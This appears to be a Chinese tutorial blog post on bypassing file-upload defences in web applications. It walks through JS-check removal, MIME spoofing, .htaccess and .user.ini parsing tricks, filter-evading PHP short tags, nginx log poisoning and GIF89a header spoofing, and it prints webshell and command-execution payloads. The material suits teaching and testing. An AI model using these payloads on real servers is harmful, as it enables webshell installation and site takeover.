WEB攻防-通用漏洞-文件上传-js验证-MIME验证-user.ini-语言特征
目录
定义
1.前端验证
2.MIME验证
3.htaccess文件和.user. ini
4.对内容进行了过滤,做了内容检测
5.[ ]符号过滤
6.内容检测'php' '[]' '{}' ';'
7.'()'也被过滤了
8.``反引号也被过滤
9.文件头检测
定义
文件上传漏洞是指攻击者上传了一个可执行文件(如木马、病毒、恶意脚本、WebShell等)到服务器执行,并最终获得网站控制权限的高危漏洞。
1.前端验证
使用js在前端做了验证后缀,但是后台没有验证,前端验证其实是我们本地的验证,如看到类似如下js验证代码
可以通过F12开发者模式,把验证代码改了来绕过
就上传成功了
之后就可以连接后门执行代码了
2.MIME验证
属于后端的验证,通过抓包可以看到Content-type字段的一个文件格式,如图就是上传了一个php文件所显示的类型
如只允许上传image/png格式,抓包将其改为允许的文件类型,就可以绕过。
注意:后门代码需要特定格式后缀解析,不能一图片后缀解析后门代码(解析漏洞除外)。图片中有后门代码,不能被触发,所以连接不上后面
而当上面都不行的时候,尝试大小写绕过,可以看上传成功
但是不一定能正常解析,像这样变成直接下载,这就是错误的解析 。这是根据中间件的一个搭建所决定的,有些大小写绕过就很尴尬,有些你改了之后呢,就会出现解析不了直接下载,或者直接保存的情况
或者是通过多后缀解析,如php5,php7
3.htaccess文件和.user. ini
首先要了解.htaccess通常用于实现URL重写、访问控制、错误页面定制、MIME类型设置等功能,且只在Apache下有效,在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置AddType application/x-httpd-php .php .phtml .php5 .pht .phps
这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。
AddType application/x-httpd-php是将所有文件按照php文件进行解析,如将jpg文件按照php文件进行解析
大部分网站都是用的
fastcgi
,这个东西可以理解为可以提供web服务器的一种api
,而apache
/nginx
/iis
这些服务器都会依靠这种api
来运行。而在服务器以fastcgi
启动运行的时候,.user.ini
也是php
的一种配置文件,php.ini
是php
的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。而.user.ini实际上就是一个可以由用户自定义的php.ini。也就是说.user.ini不仅限于 Apache 服务器,同样适用于 Nginx 和 IIS 服务器。
而
.user.ini
和.htaccess
一样是对当前目录的所有php
文件的配置设置,即写了.user.ini
和它同目录的文件会优先使用.user.ini
中设置的配置属性。前提是有php文件
假设在某个目录有一个
.htaccess文件,配置有两种,一种如下,表示把muma.jpg文件并以php解析
<FilesMatch "muma.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>
或者另一种配置直接解析某一类文件
AddType application/x-httpd-php .jpg
而.user.ini文件配置则是把文件包含进php文件执行,写法同样有2种:
auto_prepend_file=auto_append_file=
理解这些前置知识之后,下面说说怎么利用在文件上传种,思路如下:
上传一个
.htaccess文件/.user.ini文件,里面配置你后续需要上传的一个带有后门木马的png或其他允许的类型文件,上传成功之后,在把带有后门木马的png或其他允许的类型文件上传,就可以解析文件了。注意.htaccess文件只在Apache下有效,但是是直接设置某种格式以php解析,而.user.ini文件可以是其他的中间价,但是.user.ini必需要当前文件夹下有php文件
.htaccess上传的例子
首先创建一个.htaccess文件,写入下面配置内容
<FilesMatch "a.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>
抓包把Content-Type类型的application/octet-stream改为image/png(允许的类型)
.htaccess文件设置了a.jpg,所以后门文件
也需要命名为a。jpg,再把a.jpg上传上去
这个时候就会以php去解析a.jpg了
.user.ini类似,如果是其他中间价如nginx的情况下,创建一个.user.ini文件,用上面说的两个方法包含一个我们后续要上传的后门文件a.txt
在把后门文件传上去
如果有php文件,就会被包含进php解析了,访问存在的php文件就可以getshell了
4.对内容进行了过滤,做了内容检测
经过上面的方法,user.ini和png文件都可以上传,但是包含后门代码的文件上传失败,也就是说有内容检测
测试检查是过滤的什么代码
如过滤了类似<?php这类标签
在与user.ini联用的基础上,可以尝试用短标签绕过或者是其他语言的标签绕过
<? echo'123'?> //前提是开启配置参数short_open tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123 %> //前提是开启配置参数asp tags=on
<script language="php">echo '1'</script> //不需要修改参数开
如.user.ini文件写入:
auto_prepend_file=test.png
test png文件使用短标签写后门代码 :
<?=eval($ POST[X]); ?>
修改后就成功上传了
就可以getsgell了,注意index.php可以不写,但是要记得.user.ini是需要当前目录有php文件的
5.[ ]符号过滤
在上面的基础上可能遇到[]也被过滤了
可以换成{ }
6.内容检测'php' '[]' '{}' ';'
前置知识:如果一个php文件是由纯 php代码组成,那么php结束标识 ‘?>’,可以省略,建议省略,如果省略,最后一行必须加分号,而不省略,写完整结构‘<?php ?>’,最后一行可以不写分号下面例子
<?php echo '123' ?> //最后一行允许不加分号<?php echo '123' ; //必须加分号
而php中system()
函数用于执行外部程序,并显示其输出到 web 页面 ,不需要依赖echo之类的输出函数由这个思路,不需要eval这类执行函数,结果user.ini,使用<? system('tac fl*') ?>上传即可
7.'()'也被过滤了
当括号也被过滤了,也就是说不能通过系统函数,如system()去触发了,这是可以使用反引号``。
在php中相当于直接执行系统命令
8.``反引号也被过滤
反引号都被过滤后,基本上就很难再这基础上直接上传了,所以要换个思路,下面说说通过包含日志文件去执行
前置知识:中间件一般会记录日志,这些日志一般都会记录很多header信息,如User-Agent浏览器信息等。
所以可以通过user.ini配置让php文件包含一个中间价日志文件去执行利用代码
一般访问日志默认的位置,如果自定义就不行了
linux:/var/log/nginx/access.log
windows:C:\nginx\conf\nginx.conf
流程还是和user.ini一样的,让user.ini包含1.png,然后1.png里使用include把日志文件包含进来,有可能log关键字会被过滤,下面的写法通过字符拼接绕过
auto_prepend_file=1.png //.user.ini内容
<?=include"/var/lo"."g/nginx/access.l"."og"?> //1.png内容
在通过UA来插入后门代码
再去访问就可以被触发
9.文件头检测
以winhex打开一张gif,可以看到他是以GIF89a开头,这个就是文件头特征
常见的文件头:
知道什么是文件头之后,只需要在原来的基础上,加上对应的文件头就可以了 ,比如上传user.ini或后门文件,在最开始的地方加上文件头
//.user.ini文件配置
GIF89a
auto_prepend_file=1.png //1.png文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>
后面访问是一样的
相关文章:

WEB攻防-通用漏洞-文件上传-js验证-MIME验证-user.ini-语言特征
目录 定义 1.前端验证 2.MIME验证 3.htaccess文件和.user. ini 4.对内容进行了过滤,做了内容检测 5.[ ]符号过滤 6.内容检测php [] {} ; 7.()也被过滤了 8.反引号也被过滤 9.文件头检测 定义 文件上传漏洞是指攻击者上传了一个可执行文件(如木马…...

mybatis-plus代码生成器
<!--mybatis-plus--><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.5.2</version></dependency><!--mybatis-plus-generator 生成器--><depende…...

12.24-12.28Mysql锁阅读笔记
1.Mysql的锁有哪些种类 全局锁, 通过flush tables with read lock 应用场景是全局备份,备份的时候如果有两个表,备份 先备份了用户表,然后用户了商品,再备份商品表 那么商品表库存减少了,然而用户表的育儿…...

支持最新 mysql9的workbench8.0.39 中文汉化教程来了
之前在 B 站上发布了 mysql8 workbench 汉化教程,一年多来帮助很多初学者解决了不熟悉英文的烦恼。 汉化视频可以访问: 2024最新版mysql8.0.39中文版mysql workbench汉化 中文升级 旧版汉化报错解决_哔哩哔哩_bilibili MySql Workbench汉化_哔哩哔哩_…...

golang连接jenkins构建build
1.安装jenkins依赖 go get github.com/bndr/gojenkins2.代码 import ("context""file/utils/logs""github.com/bndr/gojenkins""github.com/gin-gonic/gin""net/http""time" )// 接收单个静态文件上线参数 type…...

SCAU高程进阶题(自用)
18711 字符串去重 Description 一个完全由小写字母组成的长度为n的字符串,现在要求你去除所有重复的字母,并将剩下的字母按从小到大的次序输出。 如输入baaadccaab,输出abcd。 输入格式 第一行一个整数n,表示字符串长度(0<n&…...

基于STM32F103控制L298N驱动两相四线步进电机
文章目录 前言一、模块参数二、接口说明三、准备工作四、直流电机驱动引脚接线效果展示 五、两相四线步进电机驱动步进电机相关概念拍数驱动时序引脚接线效果展示 六、参考示例 前言 L298N 是一种常见的双 H 桥电机驱动模块,广泛用于驱动直流电机和步进电机。它基于…...

libreoffice在Windows和Linux环境的安装和结合Springboot使用教程
前言: 在公司做开发时,遇到一个需求,要求上传的文件有图片,也有word和pdf。预览信息时,既要求能水印展示出来,又要求能大图水印预览。思索许久,我决定采取全部打水印然后转成图片Base64&#x…...

前端开发 -- 自动回复机器人【附完整源码】
一:效果展示 本项目实现了一个简单的网页聊天界面,用户可以在输入框中输入消息,并点击发送按钮或按下回车键来发送消息。机器人会根据用户发送的消息内容,通过关键字匹配来生成自动回复。 二:源代码分享 <!DOCTYP…...

vue+echarts实现疫情折线图
效果: 代码: <<template><div><div id"left1" style "height:800px;width:100%"></div></div> </template><script> //疫情数据//export default {data() {return {data:{//疫情数据…...

服务器nfs文件共享
1. 配置 NFS 服务器(NFS Server) 在 Ubuntu/Debian 上: sudo apt update sudo apt install nfs-kernel-server在 CentOS/RHEL 上: sudo yum install nfs-utils1.2 创建共享目录 选择一个要共享的目录,并确保该目录的权限正确设置。例如,假设我们要共享 /srv/nfs 目录…...

基于Vue+SSM+SpringCloudAlibaba的科目课程管理系统
功能1:科目列表 功能2:条件查询 功能3:分页查询 功能4:excel批量导入 功能5:修改 功能6:删除...

vue3配置caddy作为静态服务器,在浏览器地址栏刷新出现404
vue3配置caddy作为静态服务器,在浏览器地址栏刷新出现404 1 情况描述2 原因3 配置 1 情况描述 在vue打包之后,形成dist文件,采用caddy作为静态资源服务器。在浏览器中输入域名时可以访问网站,但是,进过路由导航栏内部…...

深入理解委托:C# 编程中的强大工具
在面向对象编程中,委托(Delegate) 是一个非常强大且灵活的概念,特别是在 C# 编程语言中。它不仅仅是函数指针的替代品,还提供了更高层次的抽象,使得代码更加简洁、灵活和可维护。在这篇博客中,我…...

【Java 数据结构】合并两个有序链表
🔥博客主页🔥:【 坊钰_CSDN博客 】 欢迎各位点赞👍评论✍收藏⭐ 目录 1. 题目 2. 解析 3. 代码实现 4. 小结 1. 题目 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示…...

基于微信小程序的校园访客登记系统
基于微信小程序的校园访客登记系统 功能列表 用户端功能 注册与登录 :支持用户通过手机号短信验证码注册和登录。个人资料管理 :允许用户编辑和更新个人信息及其密码。站内信消息通知:通知公告。来访预约:提交来访预约支持车牌…...

uniapp 判断多选、选中取消选中的逻辑处理
一、效果展示 二、代码 1.父组件: :id=“this.id” : 给子组件传递参数【id】 @callParentMethod=“takeIndexFun” :给子组件传递方法,这样可以在子组件直接调用父组件的方法 <view @click="$refs.member.open()"...

php8.0版本更新了哪些内容
PHP 8.0版本是PHP语言的一个重要更新,它引入了许多新特性和改进,旨在提高性能、增强代码的可读性和可维护性。以下是PHP 8.0版本更新的主要内容: 一、性能提升 JIT编译器:PHP 8.0引入了Just-In-Time(JIT)…...

Browser Use:AI智能体自动化操作浏览器的开源工具
Browser Use:AI智能体自动化操作浏览器的开源工具 Browser Use 简介1. 安装所需依赖2. 生成openai密钥3. 编写代码4. 运行代码5. 部署与优化5.1 部署AI代理5.2 优化与扩展总结Browser Use 简介 browser-use是一个Python库,它能够帮助我们将AI代理与浏览器自动化操作结合起来;…...

Android笔记(四十):ViewPager2嵌套RecyclerView滑动冲突进一步解决
背景 ViewPager2内嵌套横向滑动的RecyclerView,会有滑动冲突的情况,引入官方提供的NestedScrollableHost类可以解决冲突问题,但是有一些瑕疵,滑动横向RecyclerView到顶部,按住它不放手继续往左拖再往右拖,这…...

POS系统即销售点系统 文档与数据库设计
POS系统即销售点系统,是一种用于商业交易的软硬件集成系统,主要用于管理销售、库存、客户信息等,以下是其详细介绍: 1. 系统组成 硬件部分 : 收银终端:包括传统的台式收银机、平板电脑、智能手机等设备&a…...

安全合规遇 AI 强援:深度驱动行业发展新引擎 | 倍孜网络CEO聂子尧出席ICT深度观察报告会!
12月24日,2025中国信通院深度观察报告会科技伦理与合规发展分论坛在北京举办。本次分论坛主题为“伦理先行,合规致远”,聚焦互联网广告合规治理、移动终端应用生态治理、短视频平台责任限度等前沿话题进行分享与探讨。工业和信息化部领导&…...

算法进阶:贪心算法
贪心算法是一种简单而直观的算法思想,它在每一步选择中都采取在当前状态下最优的选择,以期望最终得到全局最优解。贪心算法通常适用于一些具有最优子结构的问题,即问题的最优解可以通过一系列局部最优解的选择得到。 贪心算法的基本思路是&a…...

C++ 设计模式:工厂方法(Factory Method)
链接:C 设计模式 链接:C 设计模式 - 抽象工厂 链接:C 设计模式 - 原型模式 链接:C 设计模式 - 建造者模式 工厂方法(Factory Method)是创建型设计模式之一,它提供了一种创建对象的接口…...

手机联系人 查询 添加操作
Android——添加联系人_android 添加联系人-CSDN博客 上面连接添加联系人已测试 是可以 Android : 获取、添加、手机联系人-ContentResolver简单应用_contentresolver 添加联系人-CSDN博客...

【LeetCode】2506、统计相似字符串对的数目
【LeetCode】2506、统计相似字符串对的数目 文章目录 一、哈希表位运算1.1 哈希表位运算 二、多语言解法 一、哈希表位运算 1.1 哈希表位运算 每个字符串, 可用一个 int 表示. (每个字符 是 int 的一个位) 哈希表记录各 字符组合 出现的次数 步骤: 遇到一个字符串, 得到 ma…...

金仓数据库对象访问权限的管理
基础知识 对象的分类 数据库的表、索引、视图、缺省值、规则、触发器等等,都称为数据库对象,对象分为如下两类: 模式(SCHEMA)对象:可以理解为一个存储目录,包含视图、索引、数据类型、函数和操作符等。非模式对象:其他的数据库对象&#x…...

Qt 中实现系统主题感知
【写在前面】 在现代桌面应用程序开发中,系统主题感知是一项重要的功能,它使得应用程序能够根据用户的系统主题设置(如深色模式或浅色模式)自动调整其外观。 Qt 作为一个跨平台的C图形用户界面应用程序开发框架,提供…...

Modbus TCP 报文说明
Modbus TCP 报文说明 Modbus TCP 报文结构报文解析功能码说明Modbus 功能码与 PLC 地址的对应关系 Modbus TCP 报文结构 事务标识符(Transaction Identifier,2 字节): 用于匹配请求和响应,通常由客户端生成࿰…...

音视频入门基础:MPEG2-TS专题(24)——FFmpeg源码中,显示TS流每个packet的pts、dts的实现
音视频入门基础:MPEG2-TS专题系列文章: 音视频入门基础:MPEG2-TS专题(1)——MPEG2-TS官方文档下载 音视频入门基础:MPEG2-TS专题(2)——使用FFmpeg命令生成ts文件 音视频入门基础…...